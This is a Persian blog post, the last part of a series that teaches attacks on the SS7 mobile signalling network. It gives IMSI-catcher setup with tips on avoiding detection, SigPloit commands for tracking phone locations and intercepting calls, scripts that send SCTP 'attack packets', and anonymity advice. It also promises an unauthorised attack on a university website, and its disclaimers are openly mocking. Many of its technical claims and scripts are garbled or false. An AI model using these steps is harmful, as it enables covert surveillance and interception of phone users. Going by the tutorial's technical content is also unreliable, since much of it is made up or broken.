آسیب پذیری SS7 پارت پایانی (حمله سیاه مخابراتی)

این تموم کننده مقاله سریالی ss7 هستش و بعد این میریم سراغ حوضه وب و سعی میکنیم وبسایت دانشگاهی رو باهم نقاط ضعفش رو شناسایی کنیم و حمله کنیم و دسترسی بگیریم سناریو نمیخوام بگم ، باهم دیگه واقعا یک حمله میکنیم و خوب مجوز هم ندارم و ندارید 🕴️🕵️
دقیقا یک حمله واقعی پیش رو دارید و خوب واقعا میتونید اسم خودتون رو بزارید جوجه هکر 🤣
آقا بریم شروع کنیم ، دوستان ادامه مطلب ( تو قالب هکر : همین پس زمینه مشکیه و نوشته سبزه ) که در مرحله تست هستش بغل این یارو پسندیدنه هست . اگه کسی نمیبینه یک بیل بیلک آبی رنگه زوم کنید قابل مشاهده هست بزنید اونو میاد ادامه مطلب میتونید مطالب کنید دیگه .
ضمنا اگه تازه اومدی از اولش شروع کن :
پست (Ss7 ATTACK ( حمله به پروتکل مخابراتی) پارت ۴)
پست (SS7 ATTACK پارت 5(حمله تمرینی به ss7))
زیاد حرف نمیزنم .
وقتی شبکهها ضعیفترین لینک هستند
اگه فکر میکنی پروتکل SS7 (همون Signaling System No. 7) یه تکنولوژی قدیمی و بیاهمیت شده، پیشنهاد میکنم دوباره فکر کنی! این پروتکل که هنوز قلب شبکههای مخابراتی جهانه، هنوز هم توی سال 2023 یه نقش خیلی مهم توی مدیریت تماسها، پیامکها و حتی خدمات دادهای بازی میکنه. اما یه نکته هست که خیلی از اپراتورها و حتی دولتها ترجیح میدن بهش توجه نکنن، اونم اینه که SS7 میتونه یه نقطهی ضعف بزرگ برای حملات سایبری باشه!
حالا توی این مقاله، من به عنوان یه هکر کلاه سیاه (البته به قول بعضیها خاکستری!) میخوام بهت بگم چطور میتونی به شبکه SS7 دسترسی پیدا کنی از طریق دکلهای مخابراتی و از آسیبپذیریهاش بهرهبرداری کنی. این راهنما برای کساییه که دنبال عملیات دقیق و کمزحمت هستن. توجه داشته باش: این اطلاعات فقط برای اهداف آموزشی و تحقیقاتی داده میشه و هرگونه استفاده غیرقانونی مسئولیتش با خودته! ضمناً در جریان باش که تو دنیا واقعی کاربرد داره و احتمالا بتونی .... اره نمیگم 😅
بخش اول: درک عمیق از شبکه SS7
1. اجزای شبکه SS7
- BTS (Base Transceiver Station):
دکلهای مخابراتی که سیگنالهای موبایل رو دریافت و ارسال میکنن. این نقاط اولین لینک در زنجیره SS7 هستن. BTS با استفاده از پروتکلهای مختلفی مثل GSM، UMTS و LTE کار میکنه و سیگنالها رو به BSC منتقل میکنه.
- BSC (Base Station Controller):
کنترلکننده دکلها که ترافیک رو مدیریت میکنه. اینجا جاییه که سیگنالها به صورت ساختارمند به MSC منتقل میشن. BSC وظیفه مدیریت منابع رادیویی و همچنین هدایت تماسها رو بر عهده داره.
- **MSC (Mobile Switching Center):
مرکز سوئیچینگ که تمام تماسها و پیامکها رو مدیریت میکنه. این نقطه، قلب شبکه SS7 هست. MSC با استفاده از پروتکلهای SCCP (Signaling Connection Control Part) و TCAP (Transaction Capabilities Application Part) کار میکنه.
- STP (Signal Transfer Point):
نقطه انتقال سیگنال که ترافیک SS7 رو بین عناصر مختلف شبکه هدایت میکنه. اینجا جاییه که بیشترین آسیبپذیریها وجود داره. STPها معمولاً از پروتکل MTP (Message Transfer Part) برای انتقال دادهها استفاده میکنن.
2. نقاط ضعف SS7
- عدم رمزنگاری:
SS7 از رمزنگاری قوی برخوردار نیست. این باعث میشه که ترافیک اون قابل شنود و تزریق باشه. تمام سیگنالهای SS7 به صورت متن ساده (Plain Text) منتقل میشن.
- اعتماد بیش از حد به شبکه:
شبکه SS7 به طور پیشفرض فرض میکنه که تمام عناصر شبکه قابل اعتماد هستن. این موضوع باعث آسیبپذیریهای جدی میشه. مثلاً، یک STP میتونه به راحتی به درخواستهای SS7 از هر منبعی پاسخ بده، حتی اگر اون منبع معتبر نباشه.
- نقاط ورود غیرمجاز:
خیلی از اپراتورها از سیستمهای قدیمی استفاده میکنن که به راحتی قابل نفوذ هستن. این سیستمها معمولاً از پروتکلهای قدیمی مثل MAP (Mobile Application Part) استفاده میکنن که آسیبپذیریهای متعددی دارن.
بخش دوم: ابزارها و تجهیزات مورد نیاز
1. سختافزارها
- IMSI Catcher:
IMSI Catcher یک دستگاه اختصاصیه که به عنوان یک BTS مجازی عمل میکنه و میتونه ترافیک SS7 رو جمعآوری کنه. نمونههای معروف شامل Stingray و Harris Corporation هستن.
- چگونگی کارکرد: IMSI Catcher به عنوان یک BTS مجازی عمل میکنه و گوشیهای موبایل رو مجبور میکنه که به اون متصل بشن. این دستگاه میتونه IMSI (International Mobile Subscriber Identity) گوشیها رو استخراج کنه و ترافیک SS7 رو جمعآوری کنه.
- نصب و راهاندازی:برای راهاندازی IMSI Catcher، نیاز به یک آنتن قوی و یک سیستم عامل مخصوص دارید. اکثر IMSI Catcherها از سیستمعاملهایی مثل Windows Embedded استفاده میکنن.
- SDR (Software Defined Radio):
دستگاههایی مثل USRP یا HackRF که برای دریافت و ارسال سیگنالهای رادیویی استفاده میشن. این ابزارها به شما اجازه میدن تا به صورت مستقیم با فرکانسهای دکلها تعامل کنید.
- چگونگی کارکرد: SDRها میتونن فرکانسهای مختلف رو اسکن کنن و سیگنالهای موبایل رو دریافت کنن. این دستگاهها معمولاً با نرمافزارهایی مثل GNU Radio یا SDR کار میکنن.
- نصب و راهاندازی: برای راهاندازی یک SDR، نیاز به یک آنتن مناسب و یک PC قدرتمند دارید. اول نرمافزار GNU Radio رو نصب کنید:
```bash
sudo apt-get install gnuradio
```
بعد، یک اسکریپت ساده برای اسکن فرکانسها بنویسید: ```python
from gnuradio import gr, blocks, analog
class MyFlowGraph(gr.top_block):
def __init__(self):
gr.top_block.__init__(self)
self.source = analog.sig_source_c(900e6, analog.GR_SIN_WAVE, 1e3, 1)
self.sink = blocks.file_sink(gr.sizeof_gr_complex, "output.dat")
self.connect(self.source, self.sink)
if __name__ == "__main__":
tb = MyFlowGraph()
tb.start()
tb.wait()
```
- Antenna:
یک آنتن با فرکانس 900/1800 MHz برای دریافت و ارسال سیگنالهای SS7. اگر میخواید کار حرفهای انجام بدید، از آنتنهای Yagi یا Directional استفاده کنید.
- چگونگی کارکرد: آنتنهای Yagi به شما اجازه میدن تا سیگنالهای موبایل رو از فواصل دور دریافت کنید. این آنتنها معمولاً در فرکانسهای 900 MHz و 1800 MHz کار میکنن.
- نصب و راهاندازی: برای نصب آنتن، اون رو به یک SDR یا IMSI Catcher متصل کنید و فرکانس اون رو تنظیم کنید.
- PC قدرتمند:
یک سیستم با پردازنده قوی و حافظه کافی برای اجرای ابزارهای تحلیل و حمله. Raspberry Pi برای کارهای ساده خوبه، اما برای عملیات حرفهای به یک PC قدرتمند نیاز دارید.
- چگونگی کارکرد: PC شما باید بتونه ابزارهایی مثل Wireshark، SigPloit و GNU Radio رو به راحتی اجرا کنه.
- نصب و راهاندازی: برای نصب ابزارهای مورد نیاز، از دستورات زیر استفاده کنید: ```bash
sudo apt-get update
sudo apt-get install wireshark sigploit gnuradio
```
2. نرمافزارها
- Wireshark:
Wireshark یک ابزار تحلیل ترافیک شبکهست که میتونه برای بررسی بستههای SS7 استفاده بشه.
- چگونگی کارکرد: Wireshark میتونه بستههای SCTP و SCCP رو شناسایی و تحلیل کنه. برای این کار، فیلتر `sccp
` رو در Wireshark اعمال کنید.
- نصب و راهاندازی: برای نصب Wireshark، از دستور زیر استفاده کنید:
```bash
sudo apt-get install wireshark
```
-SigPloit:
SigPloit یک فریمورک اختصاصی برای تست و بهرهبرداری از آسیبپذیریهای SS7ست.
- چگونگی کارکرد: SigPloit شامل ماژولهای مختلفی برای حملات متنوع مثل ردیابی موقعیت، شنود تماس و تغییر SMSست.
- نصب و راهاندازی: برای نصب SigPloit، از دستورات زیر استفاده کنید: ```bash
git clone https://github.com/SigPloiter/SigPloit.git
cd SigPloit
python setup.py install
```
- SS7MAPer:
SS7MAPer یک ابزار اختصاصی برای تست آسیبپذیریهای MAP (Mobile Application Part)ست.
- چگونگی کارکرد: این ابزار به شما اجازه میده تا بستههای MAP رو تزریق کنید و اطلاعات حساس رو استخراج کنید.
- نصب و راهاندازی: برای نصب SS7MAPer، از دستورات زیر استفاده کنید:
```bash
git clone https://github.com/your-repo/ss7maper.git
cd ss7maper
pip install -r requirements.txt
```
بخش سوم: راهنمای قدم به قدم
مرحله 1: دسترسی به شبکه SS7
1. استقرار IMSI Catcher
-چگونگی کارکرد:
IMSI Catcher به عنوان یک BTS مجازی عمل میکنه و گوشیهای موبایل رو مجبور میکنه که به اون متصل بشن. این دستگاه میتونه IMSI (International Mobile Subscriber Identity) گوشیها رو استخراج کنه و ترافیک SS7 رو جمعآوری کنه.
- تنظیمات فنی:
- فرکانس: IMSI Catcher باید در فرکانسهای 900 MHz یا 1800 MHz تنظیم بشه. این فرکانسها معمولاً برای شبکههای GSM استفاده میشن.
- قدرت سیگنال: برای جلوگیری از شناسایی، قدرت سیگنال IMSI Catcher باید به اندازهای باشه که فقط در محدوده محلی (مثل یک خیابان یا ساختمان) کار کنه.
- پروتکلها: IMSI Catcher باید پروتکلهای GSM MAP و SCCP رو پشتیبانی کنه.
- کد نویسی:
برای تنظیم IMSI Catcher، ممکنه نیاز به نوشتن اسکریپتهای سادهای برای مدیریت فرکانس و قدرت سیگنال داشته باشید. مثال زیر یک اسکریپت ساده برای تنظیم فرکانس هاست: ```python
import os
def set_frequency(frequency):
os.system(f"rtl_sdr -f {frequency}M -s 2M -g 50 output.bin")
if __name__ == "__main__":
frequency = input("Enter the frequency (in MHz): ")
set_frequency(frequency)
```
2. استفاده از SDR
- چگونگی کارکرد:
SDRها میتونن فرکانسهای مختلف رو اسکن کنن و سیگنالهای موبایل رو دریافت کنن. این دستگاهها معمولاً با نرمافزارهایی مثل GNU Radio یا SDR# کار میکنن.
- اسکن فرکانس:
برای اسکن فرکانسها، از دستور زیر استفاده کنید: ```bash
rtl_power -f 900M:950M:1k scan.csv
```
این دستور فرکانسهای بین 900 MHz تا 950 MHz رو اسکن میکنه و نتایج رو در فایل `scan.csv` ذخیره میکنه.
- کد نویسی:
برای تحلیل نتایج اسکن، میتونید از یک اسکریپت Python استفاده کنید:
```python
import pandas as pd
def analyze_scan(file_path):
data = pd.read_csv(file_path)
strong_signals = data[data['power'] > -50]
print("Strong signals detected:")
print(strong_signals)
if __name__ == "__main__":
analyze_scan("scan.csv")
```
مرحله 2: تحلیل ترافیک Ss7
1. ضبط ترافیک
- Wireshark:
Wireshark یک ابزار قدرتمند برای تحلیل ترافیک شبکهست. برای ضبط ترافیک SS7، مراحل زیر رو دنبال کنید:
- نصب و راهاندازی:
```bash
sudo apt-get install wireshark
```
- ضبط ترافیک:
```bash
wireshark &
```
- فیلتر ترافیک:
در Wireshark، فیلتر `sccp` رو اعمال کنید تا بستههای SS7 مشاهده بشن.
2. شناسایی نقاط ضعف
- تحلیل بستهها:
- عدم رمزنگاری: اگر بستهها به صورت متن ساده (Plain Text) منتقل بشن، این نشاندهنده عدم رمزنگاریست.
- اعتبار بیش از حد: اگر بستهها از منابع غیرمجاز پذیرفته بشن، این نشاندهنده اعتبار بیش از حد به شبکهست.
- نقاط ورود غیرمجاز:اگر بستهها از IPهای غیرمجاز ارسال بشن، این نشاندهنده وجود نقاط ورود غیرمجازست.
- کد نویسی:
برای تحلیل بستهها، میتونید از یک اسکریپت Python استفاده کنید: ```python
from scapy.all import *
def analyze_packets(pcap_file):
packets = rdpcap(pcap_file)
for packet in packets:
if packet.haslayer(SCCP):
print("SS7 Packet Detected:", packet.summary())
if __name__ == "__main__":
analyze_packets("traffic.pcap")
```
مرحله 3: بهرهبرداری از آسیبپذیری
1. استفاده از SigPloit
- چگونگی کارکرد:
SigPloit شامل ماژولهای مختلفی برای حملات متنوع مثل ردیابی موقعیت، شنود تماس و تغییر SMSست.
- حمله ردیابی موقعیت:
برای ردیابی موقعیت یک کاربر، از دستور زیر استفاده کنید: ```bash
sigploit -m location_tracking -t 192.168.1.1
```
- شنود تماس:
برای شنود تماس، از دستور زیر استفاده کنید: ```bash
sigploit -m call_interception -t 192.168.1.1
```
2. ارسال بستههای SCTP
- چگونگی کارکرد:
با استفاده از ابزار `sctp_darn`، بستههای SCTP رو به شبکه SS7 ارسال کنید: ```bash
sctp_darn -H <IP Address> -P <Port> -l
```
- کد نویسی:
برای ارسال بستههای SCTP، میتونید از یک اسکریپت Python استفاده کنید: ```python
import socket
def send_sctp_packet(ip, port, message):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.send(message.encode())
sock.close()
if __name__ == "__main__":
ip = "192.168.1.1"
port = 1234
message = "SS7 Attack Packet"
send_sctp_packet(ip, port, message)
```
بخش چهارم: نکات حرفهای و چالشها
1. نکات حرفهای
- محافظت از هویت:
برای جلوگیری از شناسایی، از شبکههای TOR یا VPN استفاده کنید. همچنین، از ابزارهایی مثل MAC Address Spoofing برای تغییر آدرس MAC خودتون استفاده کنید.
-تحلیل دقیق ترافیک:
قبل از انجام هرگونه حمله، ترافیک SS7 رو با Wireshark یا SigPloit تحلیل کنید تا نقاط ضعف دقیق رو شناسایی کنید.
2. چالشها
- تشخیص حمله:
اپراتورهای مخابراتی ابزارهای پیشرفتهای برای تشخیص حملات SS7 دارن. اگر حمله شما شناسایی بشه، ممکنه IP شما بلاک بشه یا پیگرد قانونی داشته باشید.
- دسترسی به شبکه SS7:
دسترسی مستقیم به شبکه SS7 برای افراد عادی غیرممکنه. برای حل این مشکل، میتونید از شبکههای مجازی مثل IMSI Catcher استفاده کنید.
توجه
حمله به پروتکل SS7 از طریق دکلهای مخابراتی یک هنره که نیاز به دانش عمیق، تجهیزات مناسب و تجربه داره. در این مقاله، سعی کردم تمام جزئیات لازم رو پوشش بدم تا شما بتونید در مدت زمان کوتاهی از آسیبپذیری SS7 بهرهبرداری کنید. با این حال، همیشه به یاد داشته باشید که استفاده از این اطلاعات برای انجام حملات غیرقانونی ممنوعه ( البته اگه کردینم به من ربطی نداره 🤣). این مقاله تنها برای اهداف آموزشی و تحقیقاتی ارائه شدهست.
در اسکریپت ها و تک کد های نوشته شده کارکتر های «```» باید حذف شود.
(مقالات بعدی مرتبط ؛ با نام نفوذ به مخابرات منتشر خواهد شد و مرتبط با این آسیب پذیری هستند . )